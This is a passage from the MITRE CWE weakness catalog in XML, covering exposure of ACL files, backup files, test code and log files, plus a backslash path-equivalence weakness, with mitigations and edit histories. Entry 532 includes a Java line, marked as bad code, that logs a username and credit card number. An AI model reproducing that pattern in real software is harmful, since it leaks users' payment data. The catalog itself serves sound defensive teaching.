					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Information Leak Through Core
						Dump Files</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="529" Name="Exposure of Access Control List Files to an Unauthorized Control Sphere" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The product stores access control list files in a directory or
					other container that is accessible to actors outside of the intended control
					sphere.</Description_Summary>
				        <Extended_Description>
					          <Text>Exposure of these access control list files may give the attacker
						information about the configuration of the site or system. This information
						may then be used to bypass the intended security policy or identify trusted
						systems from which an attack can be launched.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect access control list files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Information Leak Through
						Access Control List Files</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="53" Name="Path Equivalence: '\multiple\\internal\backslash'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					multiple internal backslash ('\multiple\trailing\\slash') without appropriate
					validation can lead to ambiguous path resolution and allow an attacker to
					traverse the file system to unintended locations or access arbitrary
					files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>165</Relationship_Target_ID>
					          <!--Improper Neutralization of Multiple Internal Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>\multiple\\internal\backslash</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Multiple
						Internal Backslash - \multiple\\internal\backslash</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="530" Name="Exposure of Backup File to an Unauthorized Control Sphere" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A backup file is stored in a directory that is accessible to
					actors outside of the intended control sphere.</Description_Summary>
				        <Extended_Description>
					          <Text>Often, old files are renamed with an extension such as .~bk to distinguish
						them from production files. The source code for old files that have been
						renamed in this manner and left in the webroot can often be retrieved. This
						renaming may have been performed automatically by the web server, or
						manually by the administrator.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>At a minimum, an attacker who retrieves this file would have all the
							information contained in it, whether that be database calls, the format
							of parameters accepted by the application, or simply information
							regarding the architectural structure of your site.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Policy</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Recommendations include implementing a security policy within your
							organization that prohibits backing up web application source code in
							the webroot.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Information Leak Through
						Backup (.~bk) Files</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="531" Name="Information Exposure Through Test Code" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Accessible test applications can pose a variety of security
					risks. Since developers or administrators rarely consider that someone besides
					themselves would even know about the existence of these applications, it is
					common for them to contain sensitive information or
					functions.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>540</Relationship_Target_ID>
					          <!--Information Exposure Through Source Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
				  	        <Mitigation_Phase>Distribution</Mitigation_Phase>
				  	        <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove test code before deploying the application into
							production.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Examples of common issues with test applications include
						administrative functions, listings of usernames, passwords or session
						identifiers and information about the system, server or application
						configuration.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through Test
						Code</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="532" Name="Information Exposure Through Log Files" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Information written to log files can be of a sensitive nature
					and give valuable guidance to an attacker or expose sensitive user
					information.</Description_Summary>
				        <Extended_Description>
					          <Text>While logging all information may be helpful during development stages, it
						is important that logging levels be set appropriately before a product ships
						so that sensitive user data and system information are not accidentally
						exposed to potential attackers.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Logging sensitive user data often provides attackers with an
							additional, less-protected path to acquiring the information.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider seriously the sensitivity of the information written into log
							files. Do not write secrets into the log files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect log files against unauthorized read/write.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Adjust configurations appropriately when software is transitioned from
							a debug state to production.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following code snippet, a user's full name and credit card
						number are written to a log file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>logger.info("Username: " + usernme + ", CCN: " + ccn);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not log sensitive information outside a trust
						boundary</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO13-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>215</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Contribution Contribution_Mode="Content">
					          <Contribution_Organization>Fortify Software</Contribution_Organization>
					          <Contribution_Date>2009-07-15</Contribution_Date>
					          <Contribution_Comment>Portions of Mitigations, Consequences and Description
						derived from content submitted by Fortify Software.</Contribution_Comment>
				        </Contribution>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
